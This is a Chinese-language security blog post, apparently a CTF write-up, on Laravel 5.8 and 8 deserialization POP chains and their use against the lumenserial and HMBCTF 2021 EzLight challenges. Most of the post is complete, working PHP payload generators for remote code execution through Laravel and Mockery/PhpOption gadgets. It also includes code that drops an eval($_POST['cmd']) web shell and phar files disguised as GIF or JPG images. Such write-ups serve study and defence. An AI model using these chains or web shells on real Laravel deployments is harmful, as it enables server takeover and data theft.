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通过几道CTF题学习Laravel框架

发表于:2021-06-08 10:41 作者: mtr 阅读数(221人)

Laravel5.8.x反序列化POP链

安装:其中--prefer-dist表示优先下载zip压缩包方式

composer create-project --prefer-dist laravel/laravel=5.8.* laravel5.8

在路由文件routes/web.php中添加

Route::get('/foo', function () {
   if(isset($_GET['c'])){
       $code = $_GET['c'];
       unserialize($code);
  }
   else{
       highlight_file(__FILE__);
  }
   return "Test laravel5.8 pop";
});

然后在public目录起一个php服务就可以进行测试了

cd /public
php -S 0.0.0.0:port
/foo?c=

链一

链的入口是在laravel5.8\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php

public function __destruct()
  {
       $this->events->dispatch($this->event);
  }

这里的$this->events$this->event可控,这里把$this->events设为含有dispatch方法的Dispatcher类,我们看到laravel5.8\vendor\laravel\framework\src\Illuminate\Bus\Dispatcher.php

public function dispatch($command)
  {
       if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
           return $this->dispatchToQueue($command);
      }
       return $this->dispatchNow($command);
  }

跟踪进commandShouldBeQueued

protected function commandShouldBeQueued($command)
  {
       return $command instanceof ShouldQueue;
  }

这里要求$command(即传进来的$this->event)要实现ShouldQueue该接口

image-20210529140628007.png

满足ShouldQueue接口的实现类即可,再跟踪进dispatchToQueue看一下

public function dispatchToQueue($command)
  {
       $connection = $command->connection ?? null;

       $queue = call_user_func($this->queueResolver, $connection);

这里的$this->queueResolver$connection都是可控的,到这里就可以直接构造payload

rce

<?php
namespace Illuminate\Broadcasting {
   class PendingBroadcast {
       protected $events;
       protected $event;
       public function __construct($events, $event) {
           $this->events = $events;
           $this->event = $event;
      }
  }
   class BroadcastEvent {
       public $connection;
       public function __construct($connection) {
           $this->connection = $connection;
      }
  }
}
namespace Illuminate\Bus {
   class Dispatcher {
       protected $queueResolver;
       public function __construct($queueResolver){
           $this->queueResolver = $queueResolver;
      }
  }
}
namespace {
   $c = new Illuminate\Broadcasting\BroadcastEvent('whoami');
   $b = new Illuminate\Bus\Dispatcher('system');
   $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);
   print(urlencode(serialize($a)));
}

eval执行

到这里已经可以调用任意类的任意方法了,但是call_user_func无法执行eval函数,如果我们的systemban了的话,就需要继续寻找执行任意命令的函数,我们找到laravel5.8\vendor\mockery\mockery\library\Mockery\Loader\EvalLoader.php

class EvalLoader implements Loader
{
   public function load(MockDefinition $definition)
  {
       if (class_exists($definition->getClassName(), false)) {
           return;
      }

       eval("?>" . $definition->getCode());
  }
}

这里有一个eval函数,这里需要绕过eval上面的if语句,否则直接就return

$definition变量是MockDefinition类,跟进一下

class MockDefinition
{
   protected $config;
   protected $code;
  ...
   public function getClassName()
  {
       return $this->config->getName();
  }
   public function getCode()
  {
       return $this->code;
  }
}

这里$code$config可控,但是呢$definition->getClassName()需要一个不存在的类,我们找一个类其getName是可控的,然后构造一个不存在的类即可,如下

laravel5.8\vendor\mockery\mockery\library\Mockery\Generator\MockConfiguration.php

class MockConfiguration
{
  ...
public function getName()
  {
       return $this->name;
  }
  ...
}

payload如下

<?php
namespace Illuminate\Broadcasting{
   class PendingBroadcast{
       protected $events;
       protected $event;
       public function __construct($events, $event)
      {
           $this->event = $event;
           $this->events = $events;
      }
  }
}
namespace Illuminate\Broadcasting{
   class BroadcastEvent
  {
       public $connection;

       public function __construct($connection)
      {
           $this->connection = $connection;
      }
  }
}
namespace Illuminate\Bus{
   class Dispatcher
  {
       protected $queueResolver;

       public function __construct($queueResolver)
      {
           $this->queueResolver = $queueResolver;
      }
  }
}
namespace Mockery\Generator{
   class MockDefinition
  {
       protected $config;
       protected $code;

       public function __construct(MockConfiguration $config)
      {
           $this->config = $config;
           $this->code = '<?php phpinfo();?>';
      }
  }
}

namespace Mockery\Generator{
   class MockConfiguration
  {
       protected $name = "none class";
  }
}

namespace Mockery\Loader{
   class EvalLoader
  {
       public function load(MockDefinition $definition)
      {

      }
  }
}
namespace {
   $config = new \Mockery\Generator\MockConfiguration();
   $connection = new \Mockery\Generator\MockDefinition($config);
   $event = new \Illuminate\Broadcasting\BroadcastEvent($connection);
   $queueResolver = array(new \Mockery\Loader\EvalLoader(),"load");
   $events = new \Illuminate\Bus\Dispatcher($queueResolver);
   $pendingBroadcast = new \Illuminate\Broadcasting\PendingBroadcast($events, $event);
   echo urlencode(serialize($pendingBroadcast));
}

利用跳板

如果说靶机禁用了system等函数,我们希望用file_put_contentsshell等双参数的函数呢,这里有一个好的跳板laravel5.8\vendor\phpoption\phpoption\src\PhpOption\LazyOption.php

final class LazyOption extends Option
{
  ...
   public function filter($callable)
  {
       return $this->option()->filter($callable);
  }
  ...
private function option()
  {
       if (null === $this->option) {
           /** @var mixed */
           $option = call_user_func_array($this->callback, $this->arguments);

这里的$this->callback$this->arguments是可控的,但是注意到option的属性是private,无法直接从我们刚刚的call_user_func直接去调用它,但是有许多类似filter的函数里面有调用option

这里可以直接构造payload

<?php
namespace Illuminate\Broadcasting {
   class PendingBroadcast {
       protected $events;
       protected $event;
       public function __construct($events, $event) {
           $this->events = $events;
           $this->event = $event;
      }
  }
   class BroadcastEvent {
       public $connection;
       public function __construct($connection) {
           $this->connection = $connection;
      }
  }
}
namespace Illuminate\Bus {
   class Dispatcher {
       protected $queueResolver;
       public function __construct($queueResolver){
           $this->queueResolver = $queueResolver;
      }
  }
}
namespace PhpOption{
   final class LazyOption{
       private $callback;
       private $arguments;
       public function __construct($callback, $arguments)
      {
           $this->callback = $callback;
           $this->arguments = $arguments;
      }
  }
}
namespace {
   $d = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php eval(\$_POST['cmd']) ?>"]);
   $c = new Illuminate\Broadcasting\BroadcastEvent('whoami');
   $b = new Illuminate\Bus\Dispatcher(array($d,"filter"));
   $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);
   print(urlencode(serialize($a)));
}

链二

入口同样是

public function __destruct()
  {
       $this->events->dispatch($this->event);
  }

这里转换思路,找某个类没有实现dispatch方法却有__call方法,这里就可以直接调用,找到laravel5.8\vendor\laravel\framework\src\Illuminate\Validation\Validator.php

class Validator implements ValidatorContract
{
  ...
public function __call($method, $parameters)
  {
       $rule = Str::snake(substr($method, 8));

       if (isset($this->extensions[$rule])) {
           return $this->callExtension($rule, $parameters);
      }

这里的$method是固定的字符串dispatch,传到$rule的时候为空,然后$this->extensions可控

跟踪进callExtension方法

protected function callExtension($rule, $parameters)
  {
       $callback = $this->extensions[$rule];

       if (is_callable($callback)) {
           return call_user_func_array($callback, $parameters);

$callback$parameters可控,于是就可以构造payload

<?php
namespace Illuminate\Broadcasting{
   class PendingBroadcast{
       protected $events;
       protected $event;

       public function __construct($events, $event)
      {
           $this->events = $events;
           $this->event = $event;
      }
  }
}

namespace Illuminate\Validation{
   class Validator{
       protected $extensions;
       public function __construct($extensions)
      {
           $this->extensions = $extensions;
      }
  }
}

namespace{
   $b = new Illuminate\Validation\Validator(array(''=>'system'));
   $a = new Illuminate\Broadcasting\PendingBroadcast($b, 'id');
   echo urlencode(serialize($a));
}

这条链在Laravel8里面也是可以用的

利用跳板

和上面一样可以加LazyOption这个跳板

<?php
namespace Illuminate\Broadcasting {
   class PendingBroadcast {
       protected $events;
       protected $event;
       public function __construct($events, $event) {
           $this->events = $events;
           $this->event = $event;
      }
  }
}

namespace Illuminate\Validation {
   class Validator {
       public $extensions;
       public function __construct($extensions){
           $this->extensions = $extensions;
      }
  }
}

namespace PhpOption {
   class LazyOption {
       private $callback;
       private $arguments;
       public function __construct($callback, $arguments) {
           $this->callback = $callback;
           $this->arguments = $arguments;
      }
  }
}

namespace {
   $c = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php eval(\$_POST['cmd']) ?>"]);
   $b = new Illuminate\Validation\Validator(array(''=>array($c, 'filter')));
   $a = new Illuminate\Broadcasting\PendingBroadcast($b, 'whoami');
   print(urlencode(serialize($a)));
}

Laravel8反序列化POP链

在下面参考链接文章中Laravel8有介绍三条链都很详细,链和上面Laravel5.8也差不太多,就不赘述,然后有一条可以phpnfo的,同样是经典入口类

laravel859\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php

public function __destruct()
  {
       $this->events->dispatch($this->event);
  }

这里的$this->events$this->event可控

同样这里有两种方法,要不使$this->events为某个拥有dispatch方法的类,我们可以调用这个类的dispatch方法

要不就使$this->events为某个类,并且该类没有实现dispatch方法却有__call方法,那么就可以调用这个__call方法了

看到laravel859\vendor\laravel\framework\src\Illuminate\View\InvokableComponentVariable.php

public function __call($method, $parameters)
  {
       return $this->__invoke()->{$method}(...$parameters);
  }

   /**
    * Resolve the variable.
    *
    * @return mixed
    */
   public function __invoke()
  {
       return call_user_func($this->callable);
  }

这里的_call会直接调用__invoke$this->callable也是我们可控的,不过这里只能调用phpinfo,比较鸡肋,payload如下

<?php
namespace Illuminate\Broadcasting {
   class PendingBroadcast {
       protected $events;
       protected $event;
       public function __construct($events, $event) {
           $this->events = $events;
           $this->event = $event;
      }
  }
}
namespace Illuminate\View {
   class InvokableComponentVariable {
       protected $callable;
       public function __construct($callable)
  {
       $this->callable = $callable;
  }
  }
}

namespace {
   $b = new Illuminate\View\InvokableComponentVariable('phpinfo');
   $a = new Illuminate\Broadcasting\PendingBroadcast($b, 1);
   print(urlencode(serialize($a)));
}

因为这里我们只能控制$this->callable,想要rce的话,还可以去找无参的方法里面带有call_user_func或者eval然后参数可控之类的,但是这里我找了好像没找到,读者有兴趣可以去试试

CTF题目

lumenserial

lumenserial\routes\web.php先看到路由文件

$router->get('/server/editor', 'EditorController@main');
$router->post('/server/editor', 'EditorController@main');

再看到

lumenserial\app\Http\Controllers\EditorController.php

class EditorController extends Controller
{
private function download($url)
  {
...
       $content = file_get_contents($url);

发现这里的$url传进file_get_contents可以phar反序列化,然后$url的值来源于doCatchimage 方法中的 $sources 变量

class EditorController extends Controller
{
  ...
protected function doCatchimage(Request $request)
  {
       $sources = $request->input($this->config['catcherFieldName']);
       $rets = [];

       if ($sources) {
           foreach ($sources as $url) {
               $rets[] = $this->download($url);
          }

我们看到main发现他是通过call_user_func来调用带do开头的方法

class EditorController extends Controller
{
  ...
public function main(Request $request)
  {
       $action = $request->query('action');

       try {
           if (is_string($action) && method_exists($this, "do{$action}")) {
               return call_user_func([$this, "do{$action}"], $request);
          } else {

可以通过如下控制变量

http://ip/server/editor/?action=Catchimage&source[]=phar://xxx.gif

然后在上面的5.8链的基础加上如下

@unlink("test.phar");
$phar = new \Phar("test.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//设置stub
$phar->setMetadata($pendingBroadcast);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");//添加要压缩的文件
$phar->stopBuffering();

上传phar文件再用phar协议打即可

image-20210531085609856.png

[HMBCTF 2021]EzLight

给了source.zip源码,是laravel框架开发的lightcms,先在本地把环境搭起来先,主要是修改.env文件改改数据库信息

先看到source\source\app\Http\Controllers\Admin\NEditorController.php

public function catchImage(Request $request)
  {
  ...
   $files = array_unique((array) $request->post('file'));
       $urls = [];
       foreach ($files as $v) {
           $image = $this->fetchImageFile($v);

catchImage函数里面以post传给file参数再给到fetchImageFile$url

protected function fetchImageFile($url)
  {
   if (isWebp($data)) {
               $image = Image::make(imagecreatefromwebp($url));
               $extension = 'webp';
          } else {
               $image = Image::make($data);
          }

这里的$url可控,这里imagecreatefromwebp因为isWebp的限制无法进入,所以这里的分支是进入Image::make($data);来,我们在此处下一个断点,然后分析一下前面的代码,我们需要在vps上放一个图片的链接,然后在http://127.0.0.1:9001/admin/neditor/serve/catchImage传参数即可动态调试了

然后一直跟进就可以发现有个file_get_contents函数

image-20210531211329986.png

至此结束,这里可以phar反序列化了

用上面的链一即可

<?php
namespace Illuminate\Broadcasting {
   class PendingBroadcast {
       protected $events;
       protected $event;
       public function __construct($events, $event) {
           $this->events = $events;
           $this->event = $event;
      }
  }
   class BroadcastEvent {
       public $connection;
       public function __construct($connection) {
           $this->connection = $connection;
      }
  }
}
namespace Illuminate\Bus {
   class Dispatcher {
       protected $queueResolver;
       public function __construct($queueResolver){
           $this->queueResolver = $queueResolver;
      }
  }
}
namespace PhpOption{
   final class LazyOption{
       private $callback;
       private $arguments;
       public function __construct($callback, $arguments)
      {
           $this->callback = $callback;
           $this->arguments = $arguments;
      }
  }
}
namespace {
   $d = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php phpinfo();eval(\$_POST['cmd']);?>"]);
   $c = new Illuminate\Broadcasting\BroadcastEvent('whoami');
   $b = new Illuminate\Bus\Dispatcher(array($d,"filter"));
   $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);
   print(urlencode(serialize($a)));

   @unlink("test.phar");
   $phar = new \Phar("test.phar");//后缀名必须为phar
   $phar->startBuffering();
   $phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//设置stub
   $phar->setMetadata($a);//将自定义的meta-data存入manifest
   $phar->addFromString("test.txt", "test");//添加要压缩的文件
   $phar->stopBuffering();
   rename('test.phar','test.jpg');
}

上传之后,在vps上放

phar://./upload/image/202105/uwQGQ5sBTWRppO3lfHzOpxLkKODMS9NkrYHdobkz.gif

再到/admin/neditor/serve/catchImagefile传参打就可以了

本文涉及相关实验:PHP反序列化漏洞实验  (通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。)